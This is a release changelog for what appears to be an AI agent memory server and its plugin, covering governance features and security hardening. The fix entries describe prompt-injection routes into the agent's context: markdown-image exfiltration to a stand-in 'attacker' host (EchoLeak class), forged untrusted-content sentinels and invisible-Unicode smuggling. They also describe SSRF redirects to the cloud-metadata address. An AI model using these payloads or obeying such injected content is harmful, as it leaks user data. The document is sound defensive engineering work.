  • A qa or agent token can no longer rubber-stamp an approval from the Review queue — role_allows gates approve/reject/edit before any write.

Engineering record

  • M3 — src/role.rs + api.rs (client). A pure role_can_see(roles, panel) mapping table resolves server/delegated role names → panels and actions. ApiClient::roles() reads the claim set once per token: the server role → all panels; any non-server role → the JWT roles subset the server stamped (delegated). api().roles() is hoisted once in app() and read by both the desktop rail and mobile tab bar; the /panels/review.rs action handlers consult crate::role::role_allows to gate approve/reject/edit, with approve requiring role_can_see("dpo") unless server-root. Test changes: every TokenClaims literal gains roles; role.rs has a unit test per posture — exec hides Subject/Security/ Audit/Data panels but keeps the dashboard; qa can’t approve or purge; supervisor approves but doesn’t purge; agent hides audit + subjects; solo and no-roles see all. Client tests 113 → 119 passed; client clippy -D warnings + fmt clean; the schema-contract test pins server 1.23.0 (no schema change — the server Cargo bump is version alignment only, independent of the shared contract).

Honest ceilings — the gating is UI posture backed by the JWT-presented roles, not server-authoritative RBAC: the endpoints the panels open are still enforced server-side, but a delegated roles claim is trusted exactly as far as the token (local signing key, not an external IdP). Full delegated/scoped-role enforcement is the v1.25+ line; the reports source for manages claims is documented in src/role.rs.


[1.22.0] — 2026-08-15

Server-only Cargo.toml/lock 1.21.0 → 1.22.0; client + plugin unchanged. The enforcement behind the v1.21.0 policy fields, for the regulated buyer (finance/government/litigation): legal hold, retention reporting, region pin — plus the compliance-pack posture docs. Small, bounded, real; no new governance fields, no background worker. See IMPLEMENTATION_PLAN_v1.22.0_Regulated.md.

Release notes

  • Legal hold — freeze any chunk against every erasure path (decay skip, /purge and DSAR refusal) with an explicit reason; a held id stays frozen until the hold is explicitly released, and multiple concurrent holds are allowed. A DSAR that hits a held id defers that erasure and lists the id + reason on the certificate, so a subject is told why.
  • Retention reporting — GET /retention/report: a per domain × kind → TTL → count → expiring-in-30-days table, the storage-limitation evidence HIPAA/SOX/FedRAMP reviewers ask for.
  • Region pin — BRAIN_REGION stamps every chunk, /export, and the DSAR certificate with where the data lived (eu-west-1, ph-manila, …), the data-residency provenance a residency clause points at. A stamp is never rewritten, so history is preserved across a region change.
  • Compliance pack — HIPAA, SOX, and FedRAMP/FISMA posture maps appended to COMPLIANCE.md (§10), mapping the shipped controls to each framework.

Security fixes

  • A legally held id is now frozen against erasure: /purge and DSAR refuse it (409 legal_hold_active with the hold reasons) and it never appears in the decay review as “safe to purge”.

Engineering record

  • M1 — legal hold (src/legal_hold.rs + src/handlers/holds.rs + migration). New legal_holds table (id PK, knowledge_id, reason, held_by, held_at, released_at) lives in every domain DB so enforcement runs in the same pool/tx as the purge it gates; a partial index serves only active (unreleased) holds. POST /legal-hold (ids + reason, bounded by MAX_HOLD_IDS), POST /legal-hold/{id}/release (404 on unknown / already-released), GET /legal-holds (filterable, Admin) — every action audited. Enforcement: page_decayed filters held ids out of /decayed; purge returns 409 legal_hold_active (+ the per-id reasons) via the new HandlerError::conflict_with; run_dsar_pool locates held targets, defers (never purges) them, and lists {id, reasons} on the certificate’s held_ids[]. Multiple concurrent holds are supported; an id is frozen until EVERY hold on it is explicitly released (never auto).
  • M2 — retention report (handlers::govern::retention_report). Reads the effective per-kind policy (server defaults + persisted overrides; a bound profile’s retained kinds are honored) and joins it against each domain’s rows: kind → ttl_days → count → count expiring within 30d. Reportable policy, not auto-delete (human purges; holds block even that).
  • M3 — region pin (storage_layout::region/region_from + knowledge.region column + an AFTER INSERT trigger). BRAIN_REGION (lowercase alnum+hyphen label, 1..=63, fail-closed on anything else) is stamped at INSERT by a trigger (all ingest paths, zero per-site churn), backfilled onto legacy NULL rows once, and never rewritten (a region change preserves where pre-existing rows lived; the trigger re-points to stamp new rows). Surfaced on every chunk + /export + the DSAR certificate + bundle.
  • M4 — compliance pack (COMPLIANCE.md §10): HIPAA control map (access/audit/integrity/min-necessary/PHI tokenization/retention/hold), SOX (immutable audit, supersede-not-delete, records preservation, erasure refusal), FedRAMP/FISMA posture against NIST 800-53 families. Posture, not certification.
  • Tests — main bin 554 → 556 passed / 6 ignored (incl. legal_hold_freezes_erasure_and_dsar_defers, retention_report_matches_policy), lib 86 → 87 (+ region_from resolver). The migration contract test now pins schema_version 1.22.0 and the route-authz audit learned the holds module. Clippy -D warnings + fmt clean. The new integration test is written idiomatically (Result<_, Box<dyn Error>> + ?, no bare unwrap() — only .expect() with a message and safe unwrap_or/filter_map).
  • Honest ceilings — legal hold is per-id manual (no e-discovery search-to-hold yet); region is a stamp, not routing (multi-region is v2.x); retention classes report TTL coverage but don’t auto-enforce (decay marks, the human purges, legal hold blocks even that); no certification — the compliance pack documents a posture, the external audit certifies.

[1.21.0] — 2026-08-15

Server + client — “Profiles” (presets + the use-case onboarding wizard)

Server Cargo.toml/lock 1.20.30 → 1.21.0; client 1.20.25 → 1.21.0; plugin unchanged. A Profile is a typed JSON bundle of the existing v1.14/v1.15/ v1.17.1 knobs (access_scope default, PII posture, per-kind retention, audit level, kind vocabulary) — no new governance primitives. One row per name, bound to a domain, read at request time. The invariant throughout: the profile sets defaults, the row wins; a domain with no bound profile is byte-identical to pre-v1.21 (the back-compat test pins this). See IMPLEMENTATION_PLAN_v1.21.0_Profiles.md + USE_CASES.md.

Release notes

  • Profiles — a preset bundle of governance defaults (default access scope, PII posture, per-kind retention, audit level, allowed memory kinds) that binds to any domain. Takes effect at the next request — no restart, no re-ingest; profiles set defaults, an explicit per-row value always wins, and an unbound domain behaves exactly as before.
  • 12 ship-with presets for common team postures (health/HIPAA, call center, sales, engineering, HR, finance/SOX, government, small business, and more) — curated starting points, every field editable via the API.
  • Onboarding wizard — brain setup (CLI) and a “What best describes your team?” step in the web client: pick a preset, see the knobs it sets, apply. A configured store in under a minute.
  • Friendlier retention on ingest — new ttl_days field (expiry in days from now) alongside the absolute expires_at.
  • Per-domain retention schedules — a bound profile’s retention replaces the server-wide policy for that domain, including “this kind never decays”; recall and the decay review view both honor it.
  • Profile API + visibility — GET /profiles, profile upsert, and the domain bind/unbind endpoints (documented in the OpenAPI spec); the client Health panel shows the active profile and its effective knobs.

Security fixes

  • New pii_mode: strict profile posture: emails, phone numbers, and card numbers are masked before storage (one-way placeholders — the raw values never reach the database). Previously masking happened only when content was read back.
  • A domain bound to an unreadable or tampered profile now fails closed (the ingest is refused) instead of silently proceeding without the policy.

Engineering record

  • M1 — apply semantics (src/profile.rs, new lib module + migration). profiles(name PK, json) + domain_profiles(domain PK → profile) tables (the plan’s domain.profile FK — domains are labels, so the binding is its own keyed row); schema_version → 1.21.0 (additive; no column changes). At ingest: pii_mode: strict masks title+content at the write boundary via the existing screen_source_prompt maskers ([redacted:email|phone|card] stored, raw never lands — deliberately NOT a vault, per the v1.20.19 posture: one-way, no recovery map); default_access_scope fills only an ABSENT value; kinds is a constraint (an out-of-vocabulary effective kind → 400 kind_not_allowed). Unreadable bound profile fails CLOSED (a strict-posture domain must not silently ingest raw PII). New friendly ttl_days ingest field (days-from-now → expires_at; an explicit absolute always wins). At retrieval: a bound profile’s retention block REPLACES the server-wide policy for that domain (explicit JSON null = that kind never decays; an empty block = nothing decays — the smb-simple posture); /decayed judges each row by ITS domain’s policy (the SQL superset unions kinds + the least-restrictive cutoff, so the superset property holds); audit_level drives /recall read-events when BRAIN_AUDIT_READ_EVENTS is unset (verbose on / minimal off / standard = the JWT posture default; the env stays the deployer kill-switch).
  • M2 — the 12 ship-with presets, seeded by migration from the USE_CASES.md matrix (gov-fedramp, health-hipaa, call-center, sales-team, engineering, hr-people, finance-sox, smb-simple, medium-team, bpo-multi, enterprise, global-multi-region). Seeding is INSERT OR IGNORE — operator edits to a preset survive re-migrations. They are starting points, not locked: every field is editable via POST /profiles/{name}.
  • M3 — the onboarding wizard. brain setup [domain] [--profile NAME] [--yes]: pick a preset from the live list, see the knobs it sets (render_knobs, unit-tested), bind, done — a configured store in under a minute, no feature tours. The client connect flow gains the “What best describes your team?” step (native <select>, knob preview, Apply/Skip; shows when the home domain is unbound; the skip persists via the web pref seam; the silent auto-reconnect path stays silent — a returning operator with a saved token is not the onboarding audience).
  • M4 — the API + visibility. GET /profiles, GET|POST /profiles/{name} (upsert, Admin + audited), GET|POST /domains/{name}/profile (bind/unbind, Admin + audited; null unbinds — the back-compat escape hatch), documented in openapi.yaml (+ the Profile/ProfileUpsert schemas, a NotFound response component); the client Health panel gains the profile card — the active profile + effective knobs (transparency = the 2026 compliance ask), rendering the unbound state explicitly rather than a blank.

Validation: server main bin 542 → 548 passed / 6 ignored (incl. the new #[ignore]d profiles_end_to_end_wizard_and_ingest — verification 1–4 through the real router: strict masking stores only placeholders, explicit ttl_days beats the profile’s episodic default, the bind flow lands the binding + effective knobs, an unbound domain is byte-identical); lib 80 → 86 (profile parse/validate/bind/audit-layering + the 12-preset contract); brain CLI +1 (render_knobs); client 111 → 113 (profiles parse + retention labels, bound/unbound binding views). Clippy -D warnings + fmt clean on default, bench, AND otel features; client wasm release build 4.99 MB (budget 7 MB).

Honest ceilings: profile defaults apply on the structured /ingest family (incl. ?format=ump / ump-md); the /ingest/markdown + /ingest/memory vault paths and the HITL /ingest/proposal flow keep their current behavior (binding those is v1.22 work). Strict-mode masking runs after auto-routing (the route needs the embedding), so the quantized vec0 embedding + caller-declared entity names derive from the raw text (neither practically invertible; entities were always stored verbatim). The HITL /ingest/proposal flow keeps its v1.14 posture — promotion lands in global with column defaults (binding the gate flow to profiles is v1.22 work). audit_level covers /recall (the decision-path read); /search, /get, /multi-get keep the global env posture. connectors_allowed is stored + surfaced only (the connector registry is not domain-scoped in v1.21; enforcement lands with the v1.24 connector work). legal_hold_default is a stored flag; enforcement is v1.22.0 “Regulated”. The wizard binds the home (global) domain — per-domain wizard targeting is brain setup’s job; knob EDITING in the wizard is the API’s job. The 12 presets are curated starting points, not certified configurations (certification is the operator’s external audit; COMPLIANCE.md maps the path). Profiles set defaults; they are not a locked policy an operator can’t override per-row (by design — the human decides).


[1.20.30] — 2026-08-14

Server — “Caliber (foundation)” (the Embedder trait + tiered neural store)

Server Cargo.toml/lock 1.20.29 → 1.20.30 (server-only; client + plugin unchanged). The v1.28 “Caliber” M1+M2 groundwork, released early so it does not sit unreleased across the v1.21–v1.27 compliance line — the two lines are independent (Acuity touched embedding/search internals; Profiles touches ingest defaults + API surface). The default build is byte-identical in behavior: edge-default stays on potion-retrieval-32M, no reranker, 512-d store — every neural path is opt-in via feature flags + profile env. See IMPLEMENTATION_PLAN_v1.28_Caliber.md + IMPLEMENTATION_ROADMAP_v1.28_to_v2.0_ACUITY_EVIDENCE_GATED.md.

Release notes

Bug fixes

  • First-query timeouts after enabling the rerank tier — the model is now loaded and warmed at startup instead of lazily inside the first recall.

Improvements

  • Embedding models are now swappable behind a single interface, with opt-in quality tiers (all off by default; the default build is byte-identical in behavior):
    • enterprise tier — BGE-M3 embeddings (1024-d).
    • desktop tier — gte-base-en-v1.5 (768-d).
    • an optional local cross-encoder rerank tier (bge-reranker-v2-m3) that reorders recall results after fusion.
  • The vector store stamps its dimension and refuses a mismatched dimension switch instead of silently comparing vectors of different sizes.
  • brain-server --re-embed <tier> re-embeds the whole store when moving between tiers (offline escape hatch).
  • The desktop memory ceiling rises to 1024 MiB to fit the optional neural tiers (edge/Jetson stays 512).

Engineering record

  • M2 — the Embedder abstraction (src/embed.rs, new lib module). The embedding model moves behind an object-safe trait (encode/encode_one/store_dim/model_id); AppState.model becomes Arc<dyn Embedder>; all ~13 encode call sites (recall/ingest/proposals/ procedure/suggest/embeddings/reindex) are profile-agnostic. The default StaticEmbedder delegates to model2vec verbatim (the golden-vector test is #[ignore] — HF fetch; the practical proof is the whole suite passing unchanged + the edge eval matching the v1.17.4 baseline byte-for-byte).
  • M2 — profile-parameterized store dimension (src/migration.rs). run_migration_with_store_dim(db, mmap, dim) interpolates the vec0 DDL’s dimension; run_migration stays as the 512-d wrapper so every existing caller (tests, migrate-rehearse, domain_registry) is unchanged. A new embedding_dim stamp in schema_meta is checked before any vec0 DDL: fresh DB stamps the active dim; same-dim is idempotent; a cross-dim profile switch fails closed with a clear error instead of silently comparing a 1024-d query against a 512-d store. +5 dim_tests (fresh-stamp, idempotent, mismatch-refusal, legacy-default round-trip, repoint-escape).
  • M2 — the neural tiers (--features neural-embed, off by default — the ROADMAP “no new heavy runtime” doctrine holds; fastembed 5 optional, ort rc.12 → rc.13 to unify the graph). MODEL_PROFILE=enterprise → BGE-M3 (1024-d; verified end-to-end: dense+sparse+colbert from one FastEmbed pass — the sparse/colbert heads land as a v1.30 RRF leg + rerank, consumed here only as dense). MODEL_PROFILE=desktop → gte-base-en-v1.5 (768-d, FastEmbed in-enum). ponytail: gte-modernbert-base (55.33 vs 54.09 BEIR) is the better desktop model but is NOT in FastEmbed’s enum — it needs a custom-ONNX fetch (try_new_from_user_defined); gte-base-en-v1.5 ships now, modernbert is the verified upgrade path.
  • M1 — the rerank tier (src/search/rerank.rs, new, --features rerank-tier). bge-reranker-v2-m3 via FastEmbed TextRerank (the current local-SOTA cross-encoder — NOT the 2021 ms-marco-MiniLM), LazyLock-loaded, fail-open (any ONNX/lock fault leaves the RRF order standing), writing the reserved rerank_score/rerank_truncated provenance slots after fusion+PRF in perform_search_with_prf. Boot arms it (BRAIN_RERANK_ENABLED=1) on enterprise/desktop/quality-local and warms it at boot — a lazy first-recall load put the model download inside the request path (observed live: first-query 503 recall timed out; fixed).
  • The --re-embed <profile> escape hatch (src/main.rs + migration::rebuild_vec_store_at_dim). Offline operator command: repoints the store at the target dim (stamp + DROP/CREATE + legacy embeddings cleared — those f32 rows are the OLD dim and re-backfilling them would be cross-dim corruption), then re-embeds every chunk (the /reindex loop shape, inline — the handler needs a bootable AppState, this runs cold). The fail-closed error names it.
  • Capacity: Desktop RSS ceiling 512 → 1024 MiB (src/capacity.rs). The neural tiers measured ~830 MiB live (gte + reranker); 512 pinned the warning band permanently on desktop hardware. Jetson stays 512 — the 4 GB edge contract (edge-default on potion measured ~340 MiB, well under).

Tier smoke (directional, NOT a parity claim — BENCHMARKS.md §v1.28): all three tiers run live through /recall (fresh DB, 10-doc corpus, brain eval, 37 queries, this M1 Pro, cached models): edge = the v1.17.4 baseline byte-consistent (MRR 0.905 / nDCG 0.911); desktop & enterprise = MRR 0.919 / nDCG 0.917 — the rerank precision lift is visible even on a recall-saturated set. Desktop and enterprise are identical on this set (expected: same reranker, and the set can’t differentiate recall at n=37).

Server validation: main bin 534 → 542 passed / 5 ignored; lib 76 → 80 passed / 1 ignored (incl. the #[ignore]d BGE-M3 end-to-end load test — downloads ~600 MB, run with --features neural-embed -- --ignored); clippy -D warnings + fmt clean across default AND --features neural-embed,rerank-tier; live /recall smoke against an 8,732-doc copy of the operator vault (edge) + the per-profile tier runs above.

Honest ceilings: the tier smoke’s 10-doc/37-query set is recall-saturated — it shows the rerank ordering lift only; the ≥100-query frozen set + the IronCurtain head-to-head (v1.31 “Proven”) are still pending, so no parity-or-better claim is made. BGE-M3’s sparse+colbert outputs are verified emitted but not yet consumed (v1.30). --re-embed is offline-only and re-runnable but not transactional. The neural tiers are desktop-verified; Jetson + ARM release-build verification is the operator’s bench --envelope step. install-service.sh/brain -V pick this up on the next install — the running launchd service still runs 1.20.29 until then.

[1.20.29] — 2026-08-14

Server + plugin — “Bound” (amplification + clamp + bind fail-closed)

Server Cargo.toml/lock 1.20.28 → 1.20.29; plugin 0.4.1 → 0.4.2. The cleanup / consolidation release of the ATLAS audit line — three bounds closed, one theme. No new endpoints, no new fields, no telemetry. See IMPLEMENTATION_PLAN_v1.20.29_Bound.md. ATLAS F-5 / F-6 / F-7.

Release notes

Improvements

  • The openclaw plugin collapses same-query recalls within a turn into a single server call (previously one turn could fan out several), and caps recalls per session turn.
  • Tool parameters are schema-checked instead of cast, per-hit content is clamped to a sane length, and the context-token ceiling is enforced consistently — smaller prompts, no runaway context growth.

Security fixes

  • The server refuses to start when bound to a non-loopback interface with no auth configured — previously that combination silently exposed an unauthenticated, fully-privileged API.

Engineering record

  • Bind fail-closed (src/main.rs). handlers/mod.rs:385 treats a None principal as superuser (the loopback back-compat posture); the symmetric gap was that a non-loopback bind with no AUTH_TOKEN/JWT configured would expose an unauthenticated superuser API. New enforce_loopback_bind_guard (two pure predicates bind_is_loopback/auth_configured, reusing config::auth_tokens
    • AuthMode) refuses to start in that case — the G3 fail-closed posture, applied to the bind side. +1 test. ponytail: startup-only enforcement; no runtime rebind re-check; does NOT add per-principal rate limiting (v2.1).
  • Plugin request amplification bound (plugin/index.ts). The three recall call sites (auto-recall hook, corpus search, memory_recall tool) shared no guard, so one turn could fan out N recalls. A closure-scoped Map<queryKey, Promise> collapses same-query-same-turn recalls into one server POST, and a per-session counter caps recalls per turn (MAX_RECALLS_PER_TURN = 10; over-cap → empty no-op, not error). +2 plugin tests.
  • Plugin param clamp + body cap (plugin/src/tools.ts). The raw (params ?? {}) as X casts (no narrowing guard) are replaced by a checkedParams() helper backed by typebox Check (a value is Static<S> type predicate — on schema failure params collapse to {} and existing ?? default branches take over, fail-closed). memory_recall.maxContextTokens schema max 32000 → 8000 to match config.ts:55. Per-hit content is clamped to MAX_HIT_CHARS = 1000 before formatRecallContext (caller-side, so format.ts stays untouched). +1 plugin test.

Server validation: cargo test --features bench 542 → 542 passed / 5 ignored (main bin; +1 net new), clippy -D warnings + fmt clean. Plugin validation: tsc --noEmit + vitest 47 passed + oxlint clean (run via the openclaw workspace — plugin/ has no standalone runner; @openclaw/plugin-sdk is workspace:*).

[1.20.28] — 2026-08-14

Server + plugin — “Fencepost” (information-flow integrity)

Server Cargo.toml/lock 1.20.27 → 1.20.28; plugin 0.4.0 → 0.4.1. Two coupled information-flow changes, one theme. No new endpoints, no new fields. See IMPLEMENTATION_PLAN_v1.20.28_Fencepost.md. ATLAS F-3 / F-4.

Release notes

  • A quarantined proposal lost its warning flag on approval — the promotion insert never carried the flag, so content the injection screen had quarantined became an ordinary retrievable memory with no trace of the verdict. Approval now re-screens and preserves the flag as provenance (the human’s decision stays final; the flag is a record, not a recall block).

Improvements

  • The audit log now records the screen verdict on every approval (clean/quarantine/reject), so post-hoc review can see what the deterministic screen would have said.

Security fixes

  • The plugin’s untrusted marker is now enforced, behind an unforgeable fence: untrusted recall content is wrapped in begin/end sentinels that recalled chunks cannot forge (literal sentinels are stripped from hit bodies), and only explicitly-untrusted hits are injected into the prompt.
  • Unicode tag-block characters (U+E0000–U+E007F) and markdown references are additionally stripped from plugin-bound text.

Engineering record

  • Server: quarantine taint survives HITL promotion as provenance (src/handlers/gate.rs). The approve_proposal INSERT (L624) omitted the flagged column (default 0), so a proposal the deterministic screen quarantined at ingest became, on approval, an unflagged retrievable memory with no provenance that it was flagged. The approve path now re-runs the screen (crate::screen::screen(&content, "")) and sets flagged from the verdict (Quarantine/Reject → 1, Clean → 0), and the audit detail carries the verdict label (proposal_approved:screen_quarantine etc.). The human’s decision stays final (mantra #3) — flagged is provenance, NOT a recall deny; recall segregation unchanged. +2 tests.
  • Plugin: the untrusted tag is now enforced, behind an unforgeable fence (plugin/src/format.ts). MEMORY_BANNER was an advisory preamble with no closing delimiter and hit.untrusted was carried but never read (decorative; the plugin admitted this at format.ts:76-78). New UNTRUSTED_BEGIN / UNTRUSTED_END sentinels wrap the block; sanitizeForBlock strips any literal sentinel from hit bodies so a recalled chunk cannot forge the close. formatRecallContext now filters to untrusted === true (drops the rest; fail-safe → empty injection if none qualify). sanitizeForBlock also gains the U+E0000–U+E007F tag block (the one set the prior regex omitted — requires the u flag + \u{...} form) and the markdown-ref strip (defense-in-depth; the server strip from v1.20.27 means the plugin already receives clean text). +3 plugin tests (+ 2 supporting fixes to keep the existing suite green under the enforced-fence contract).

Honest ceilings: NOT a CaMeL/FIDES capability lattice (mantra #2 forbids); the fence is transport-layer data/instruction separation only. flagged is advisory metadata, not a recall deny (a v2.x ACL could deny recall of post-quarantine chunks by role). Validation: server 44 gate tests pass (cargo test --features bench --bin brain-server gate), clippy clean; plugin tsc/vitest clean via the openclaw workspace (plugin/ has no standalone runner).

[1.20.27] — 2026-08-14

Server — “Cordon” (EchoLeak markdown exfil neutralized at the read seam)

Server Cargo.toml/lock 1.20.26 → 1.20.27; plugin unchanged. One pure function, one composition point. No new endpoints, no new fields. See IMPLEMENTATION_PLAN_v1.20.27_Cordon.md. ATLAS F-2 (High).

Release notes

  • Markdown-link exfiltration neutralized at the read seam (the EchoLeak / CVE-2025-32711 class): ![alt](url) and [text](url) inside stored content are rewritten to plain text before reaching MCP/HTTP clients and the LLM consumers downstream — an image-pixel or tracking URL embedded in a memory can no longer ride out as a live link. Bare URLs in prose are intentionally left intact.

Engineering record

  • gate::strip_markdown_refs neutralizes the EchoLeak / CVE-2025-32711 class at the source. sanitize_read previously stripped invisible Unicode only; ![alt](http://attacker/pixel?ctx=...) and [t](https://evil) rode verbatim through the seam into MCP/HTTP clients and onward to a markdown-rendering LLM consumer. The new forward-scan (regex-free, char_indices + the mask_phone-style byte walk) rewrites ![label](url) → [label] and [text](url) → text. Bare URLs in prose are intentionally left intact (see example.com is not rewritten — false-positive trap). Composed into sanitize_read in the order redact → markdown → invisible-Unicode (strip markdown BEFORE invisible so a bidi-wrapped ] can’t defeat the bracket scan after invisible stripping). sanitize_read_opt inherits it via delegation. Storage stays verbatim (render-only, the strip_invisible storage rule). +3 tests.

Honest ceilings: deterministic text transform, NOT a markdown parser or URL reputation service; a non-markdown exfil vector (“visit attacker.com”) survives (model-discipline / host-contract territory). The MCP binary inherits the strip transitively (its tool_result_payload/format_response compose through server handlers using sanitize_read). Validation: 44 gate tests pass, clippy + fmt clean.

[1.20.26] — 2026-08-14

Server — “Tourniquet” (SSRF egress paths closed)

Server Cargo.toml/lock 1.20.25 → 1.20.26; plugin unchanged. One shared client builder, two call-site swaps. No new endpoints, no new fields, no new deps. See IMPLEMENTATION_PLAN_v1.20.26_Tourniquet.md. ATLAS F-1 (High).

Release notes

Bug fixes

  • Chunk purge and GDPR erasure left knowledge-graph relationships and PII-named entity nodes behind — a broken DELETE referenced a column that doesn’t exist and silently aborted, so every purge leaked graph residue. Purges now sweep orphaned entities (shared ones survive) and erase review-queue proposals for the subject.
  • Read-path redaction/strip now covers every emitted text field (title, snippet, evidence text + headings on recall, search, and chunk fetches), closing the gap where some fields rode raw past the PII mask.

Improvements

  • None beyond the fixes above.

Security fixes

  • The outbound webhook client no longer follows redirects — a misconfigured webhook URL that 302s to a cloud-metadata or localhost address is no longer fetched (SSRF egress path closed).
  • Audit and recall-trace hashes upgraded to SHA-256 — low-entropy inputs (a name, an SSN, a short query) can no longer be recovered by brute-forcing the stored digest.
  • The webhook signing-secret file now fails closed on group/world- readable permissions, matching the auth-token posture.

Engineering record

Covers this release (Tourniquet) and the folded “Consolidate” changes that ship in the same binaries.

  • webhook::egress_client is the one outbound HTTP client now used by both webhook sinks (alert.rs::sink and handlers/observe.rs::notify_art19). Both previously built reqwest::Client::new(), which follows up to 10 redirects with no IP validation — so a misconfigured operator BRAIN_*_WEBHOOK_URL that 302s to http://169.254.169.254/... (cloud metadata) or http://127.0.0.1:8765/... (self) was followed. The new builder sets .redirect(Policy::none()), so a 3xx is surfaced to the caller, never fetched. URLs remain env-var-only (operator- controlled), so this is defense-in-depth, not a request-time fix. +2 tests (reuse the TcpListener 302-responder idiom from the existing Art-19 webhook test — no new dep).

Honest ceilings: does NOT resolve+validate host IPs against RFC1918 / loopback / link-local / 169.254.x before the first request (the v2.x per-request resolver; DNS-rebinding across the connection-pool TTL remains the documented ceiling). Does NOT change body signing, retry policy, or add a URL allowlist. Validation: clippy clean; the two redirect tests are CI-runnable but unrunnable in this sandbox (network bind is blocked — the same restriction that already applies to the existing Art-19 webhook test); the redirect::Policy::none() call is reqwest’s documented contract, type-verified by the build. (Doc note: the --lib webhook invocation in the plan reaches 0 tests — webhook is binary-private; the correct command is cargo test --features bench --bin brain-server -- egress_client.)

Server + client + plugin — “Consolidate” (the post-Sweep tail, closed)

Server Cargo.toml/lock + client 1.20.24 → 1.20.25; plugin 0.2.1 → 0.2.2 (a real server+client+plugin release — the server changed). The v1.20.24 “Sweep” declared the audit line closed, but that release itself left a coherent tail: the read path (HTTP + graph residue) and the erasure path (proposals + orphaned graph nodes) still had gaps, and the hash upgrade that shipped for tombstones (G6) was never extended to the audit/trace query_hash family. This release consolidates all of it — no new endpoints, no new fields. See IMPLEMENTATION_PLAN_v1.20.25_Consolidate.md.

  • M1 — the audit/trace hash is now SHA-256, not xxh3-64 (src/audit.rs). hash() upgrades from the 16-hex xxh3_64 fingerprint to a full 64-hex SHA-256. The audit + recall-trace paths were the one place G6’s “deletion digests must not be offline-recoverable” never reached: detail_hash/ target_hash and the stored query_hash derive from low-entropy inputs (an SSN, a name, a short recall query) that a fast non-cryptographic fingerprint would expose. recall.rs’s trace query_hash and otel.rs::query_hash now delegate to the same audit::hash; a stored digest no longer reveals its input. +1 test (hash_is_sha256_not_xxh3).
  • M2 — the read-path seam now covers every emitted text field (src/gate.rs + src/handlers/recall.rs + src/main.rs). New gate::sanitize_read / sanitize_read_opt = strip_invisible(redact_content(...)) — the v1.20.24 G1 Unicode strip composed with the G2 PII redaction — applied to title, content, snippet, evidence.text and evidence.heading_path on the recall/search hits (results_to_hits), and to title + heading_path on GET /chunk/{id} and POST /chunk/multi-get (content already redacted). Closes the gap where title/snippet/evidence rode raw past redaction and the HTTP JSON boundary emitted raw invisible bytes (bidi / zero-width / tag block). Idempotent — safe where clients re-strip. +1 test (results_to_hits_strips_invisible_and_redacts_all_fields).
  • M3 — DSAR erasure + chunk purge now erase the graph + review-queue residue (src/handlers/observe.rs + src/handlers/gate.rs). The v1.20.24 purge’s relationship-delete referenced entities.knowledge_id — a column that does not exist — so the subquery raised “no such column” and silently aborted the whole DELETE, leaving relationships (and the PII-bearing entity names they anchor) behind on every purge. The clause is removed; purge_chunk_ids now collects the affected entity ids from the chunk’s relationships first and runs a post-loop orphan sweep (an entity whose relationships are all gone is erased; shared entities linked to surviving knowledge survive). The DSAR path (run_dsar_pool) additionally sweeps proposals by subject verbatim — raw candidate content with no owner column (possible PII about the subject) that previously survived a “complete” erasure. +1 test (dsar_purge_erases_proposals_and_orphaned_entities).
  • M4 — the webhook signing secret fails closed on wide modes (src/handlers/webhooks.rs). A webhook_secret_path that isn’t owner-only (mode & 0o077 != 0) is refused (None), matching the v1.20.24 G3 auth-token posture — a world-readable signing secret is a bearer capability any local user could use to forge signatures.
  • Tests: server 534 passed / 5 ignored in the main bin (+3: the audit SHA-256 shape, the all-fields read seam, the DSAR proposal+orphan-entity sweep — and the v1.20.24 G6 one-liner on the proposal-expired audit digest moves to audit::hash), MCP bin 15 passed (unchanged), client 111 passed (unchanged), plugin (openclaw) 97 passed (+1: the memory_store default-mode + direct-mode routing test). Both trees + plugin clippy -D warnings + fmt clean; server 5-binaries + client wasm release builds clean.
  • Honest ceilings: M3’s proposal sweep is a literal LIKE %subject% (proposals are operator-reviewed candidates, not subject-attributed rows — there is no owner join to be semantic about); the orphan-entity sweep is scoped to the purge’s affected set and the “no remaining relationship” guard, so standalone entities unrelated to a purge are untouched by design; M1 stores SHA-256 of a hash input that may itself be a pre-computed digest, and the stored form is a fingerprint, not a content lease — audit-chain verification is unchanged.

[1.20.24] — 2026-08-13

Server + client + plugin — “Sweep” (the audit gaps, closed)

Server Cargo.toml/lock + client 1.20.23 → 1.20.24. The v1.20.x harden line was declared closed at v1.20.23, but the follow-up audit of that line left seven unpaid gaps. This release closes all seven — no new features, no new endpoints, only the missing enforcement, plus one genuine bug found by the new regression tests. See IMPLEMENTATION_PLAN_v1.20.24_Sweep.md.

Release notes

  • /decayed has returned an empty list since v1.14 regardless of actual expiry — a SQL type mismatch silently dropped every row. It now returns the decayed chunks it always should have.

Improvements

  • The decay-review endpoint scans a narrow index instead of the full table.
  • The client bounds long raw-text blocks (source prompts, evidence) in a scroll box instead of wallpapering the approval view.

Security fixes

  • Invisible-Unicode smuggling (bidi overrides, zero-width characters) is now stripped at every agent-facing output seam: MCP tool results, the CLI, the openclaw plugin, and the web client.
  • PII masking now applies uniformly on all read paths (single-chunk fetch, multi-get, search, and the review queue), not only on recall — for non-admin principals.
  • The server refuses to start when the auth-token file or JWT key is group/world-readable (a leaked-secret file can no longer silently authorize the API).
  • GDPR subject erasure now covers every domain database (multi-domain deployments), not just the default one, and the deletion ledger carries an aggregate SHA-256 digest.
  • Deletion digests are now SHA-256 instead of a fast 64-bit fingerprint, so they can no longer be brute-forced offline for low-entropy content (names, SSNs, short notes).

Engineering record

  • G1 — every agent-facing seam strips invisible Unicode (the v1.20.3 strip_invisible class: C0/C1 controls, zero-width marks, bidi overrides/ isolates). Now a shared lib module src/strip_invisible.rs (screen.rs re-exports it, so crate::screen::* paths are untouched), applied at the MCP tool-result envelope + format_response seam (src/bin/mcp.rs), the CLI brain recall/brain get prints (src/bin/brain.rs), and the openclaw plugin (format.ts::sanitizeForBlock now also strips \u200B-\u200F, \u202A-\u202E, \u2066-\u2069, \uFEFF; recall titles + graph tool outputs through the same boundary). Ponytail: strips output only — storage stays verbatim.
  • G7 — the client hardens the same seam (client/src/panels/): strips at evidence-modal content, procedure-step content, graph names/relations, review + operation source prompts; the submit-form content columns get a bounded scroll box (max-h-40 overflow-y-auto) instead of a wallpaper of raw text — LITL smuggling was already screened server-side; this is the display fence so a text node can’t spike the approval viewport.
  • G2 — PII read-path uniformity (redact_content). Owner-only masking was applied at the v1.14 surface but not on every read path: GET /chunk/{id} and POST /chunk/multi-get now select + mask pii rows for non-admin principals, POST /search masks after the flagged-evidence suppression, and GET /proposals masks proposal content via the same read-time scan_pii leg. Reveal stays a separate, audited principal leg.
